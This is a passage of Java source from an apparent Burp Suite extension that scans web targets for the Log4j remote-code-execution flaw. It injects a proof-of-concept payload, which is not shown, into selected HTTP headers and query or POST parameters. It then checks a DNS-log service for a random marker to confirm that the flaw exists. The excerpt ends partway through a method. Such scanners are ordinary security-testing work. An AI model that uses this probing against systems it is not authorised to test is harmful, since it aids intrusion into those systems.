Class Log4jScan

BPScan/src/main/java/burp/scan/Log4jScan.java:21–168

import java.util.List;

public class Log4jScan {
    static PrintWriter stdout;
    static List<String> Features = new ArrayList<>();
    static String ceyeDomain = YamlReader.getInstance(BurpExtender.getCallbacks()).getString("dnsLog.domain");
    static List<String> Log4jScanHeaders = YamlReader.getInstance(BurpExtender.getCallbacks()).getStringList("scanModule.Log4jScan.ScanHeader");
    static List<String> scandone = new ArrayList<>();

    public synchronized static List<Object> ScanMain(IHttpRequestResponse baseRequestResponse, IBurpExtenderCallbacks callbacks, IExtensionHelpers helpers, PrintWriter out) throws IOException, InterruptedException {
        stdout = out;
        Features.clear();
        URL url = helpers.analyzeRequest(baseRequestResponse).getUrl();
        String baseurl = url.getProtocol() + "://" + url.getAuthority();
        if(!scandone.contains(Common.MD5(baseurl))){
            stdout.println("Log4j Rce Scan Start!");
            List<Object> Success = new ArrayList<>();
            List<String> headers = helpers.analyzeRequest(baseRequestResponse).getHeaders();
            int size = headers.size();
            String methond = helpers.analyzeRequest(baseRequestResponse).getMethod();;
            //对head头添加poc
            for(int i=0;i<size;i++){
                String header = headers.get(i).split(":")[0];
                if(Log4jScanHeaders.contains(header)){
                    String poc = header + ": " + Getpoc(false);
                    headers.set(i,poc);
                }
            }
            //无论什么请求都有可能有？参数先直接进行处理
            headers.set(0,ParamAddPocGet(headers.get(0)));
            if(!methond.toLowerCase().equals("post")){
                byte[] body = helpers.buildHttpMessage(headers, null);
                IHttpRequestResponse requestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), body);
                String data = Common.ceyeResult();
                for(String randString:Features){
                    if(data.contains(randString)){
                        stdout.println("Log4j Rce find! 匹配randString值为: " + randString);
                        scandone.add(Common.MD5(baseurl));
                        Success.add(requestResponse);
                        Success.add(randString);
                        return Success;
                    }
                }
            }else{
                int bodyOffset = helpers.analyzeRequest(baseRequestResponse.getRequest()).getBodyOffset();
                String resp =new  String(baseRequestResponse.getRequest());
                String respbody = resp.substring(bodyOffset);
                byte[] request_bodys = ParamAddPocPost(respbody).getBytes();
                byte[] body = helpers.buildHttpMessage(headers, request_bodys);
                IHttpRequestResponse requestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), body);
                String data = Common.ceyeResult();
                for(String randString:Features){
                    if(data.contains(randString)){
                        stdout.println("Log4j Rce find! 匹配randString值为: " + randString);
                        scandone.add(Common.MD5(baseurl));
                        Success.add(requestResponse);
                        Success.add(randString);
                        return Success;
                    }
                }